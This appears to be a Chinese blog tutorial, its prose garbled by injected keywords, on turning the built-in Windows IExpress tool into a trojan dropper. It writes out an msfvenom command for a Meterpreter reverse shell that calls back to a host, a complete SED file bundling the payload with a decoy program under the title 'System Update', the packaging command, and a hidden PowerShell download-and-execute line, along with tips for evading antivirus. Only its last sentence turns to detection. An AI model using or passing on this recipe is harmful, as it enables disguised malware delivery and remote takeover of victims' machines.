iexpress制作木马过程
IExpress 是制作 Windows 自带的一个小工具,藏在 System32 文件夹里,木马文件名 iexpress.exe。过程它的制作正经用途是打包安装程序,把一堆文件塞进一个自解压的木马 exe 里。问题在于,过程这个“自解压”机制可以被反过来用——让一个 exe 在解压后自动执行你指定的制作任何命令。整个过程不需要写一行代码,木马不需要装任何第三方工具,过程Windows 自己就提供了全套材料。制作 我第一次注意到这个玩法是木马在一个老外的红队博客上。他演示了怎么用 IExpress 把 Meterpreter 的过程 payload 包成一个看起来像软件安装包的 exe。当时觉得挺妙,制作因为杀毒软件对 IExpress 生成的木马包天然信任度偏高——毕竟这是微软签名的系统组件做出来的东西。 你得先有一个要执行的过程东西。用 msfvenom 生成一个反向 shell 的 exe 是最常见的做法: 把这个 payload.exe 放到一个干净目录里,比如 C:\build\。同目录下再放一个正常的程序,比如 putty.exe 或者某个小工具,用来做掩护。IExpress 会把这两个文件一起打包,解压后同时释放出来。 IExpress 的核心是 SED 文件——Self Extraction Directive。它是个纯文本的配置文件,告诉 IExpress 怎么打包、解压后运行什么。可以直接用记事本写一个: 关键在 AppLaunched 那一行。它指定解压完成后自动执行的命令。写 命令行下跑: /N 表示用 SED 文件,/Q 是静默模式。几秒钟后 C:\build\update.exe 就出来了。双击它,会看到一个进度条窗口,标题写着“System Update”。进度条走完,payload 已经在目标机器上执行了,同时 putty.exe 被释放到临时目录里,看起来就像个正常的安装过程。 这个方法的优势是零依赖、零编译。任何 Windows 机器上都能做,生成的 exe 体积也小——只有 payload 和掩护文件加起来的体积,通常几百 KB。缺点是 IExpress 的窗口样式很老,Win10 上看起来像 XP 时代的东西,细心的用户会觉得不对劲。 另一个问题是解压路径。IExpress 默认解压到 %TEMP% 下的一个随机目录,payload 执行时的工作目录就在那里。如果 payload 需要读写同目录的文件,得注意路径问题。用 杀软方面,Windows Defender 对 msfvenom 生成的裸 payload 查杀率很高,但 IExpress 的壳本身不触发报警。所以关键在于 payload 本身要做免杀处理——编码、加壳、或者用 Cobalt Strike 的 artifact kit 重新编译。IExpress 只是提供了一个合法的投递容器,真正决定成败的是里面装的东西。 我试过把 payload 换成 PowerShell 下载远程脚本的命令,效果更干净: 这样生成的 exe 里连恶意代码都没有,纯粹是个下载器。Defender 对这种“干净”的 IExpress 包基本不拦。当然,网络层面的检测是另一回事了。 IExpress 不是漏洞,是功能滥用。微软没打算修,因为修了会破坏大量正常的安装包。对于渗透测试来说,它是个顺手的小工具;对于防御方来说,监控 iexpress.exe 的异常调用比封堵这个工具本身更现实。准备 payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe构造 SED 文件
[Version] Class=IEXPRESS SEDVersion=3 [Options] PackagePurpose=InstallApp ShowInstallProgramWindow=1 HideExtractAnimation=0 UseLongFileName=1 InsideCompressed=0 CAB_FixedSize=0 CAB_ResvCodeSigning=0 RebootMode=N InstallPrompt= DisplayLicense= FinishMessage= TargetName=C:\build\update.exe FriendlyName=System Update AppLaunched=cmd /c payload.exe PostInstallCmd=<None> AdminQuietInstCmd= UserQuietInstCmd= SourceFiles=SourceFiles [Strings] FILE0="payload.exe" FILE1="putty.exe" [SourceFiles] SourceFiles0=C:\build\ [SourceFiles0] %FILE0%= %FILE1%=cmd /c payload.exe 是为了让 payload 在后台跑,不弹黑框。TargetName 是最终生成的 exe 路径,FriendlyName 是安装窗口上显示的标题。执行打包
iexpress /N /Q C:\build\test.sed实际效果和局限
cmd /c cd /d %~dp0 && payload.exe 可以切到解压目录再执行。AppLaunched=powershell -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/run.ps1')"
- 随机阅读
- 搜索
-
- 友情链接
-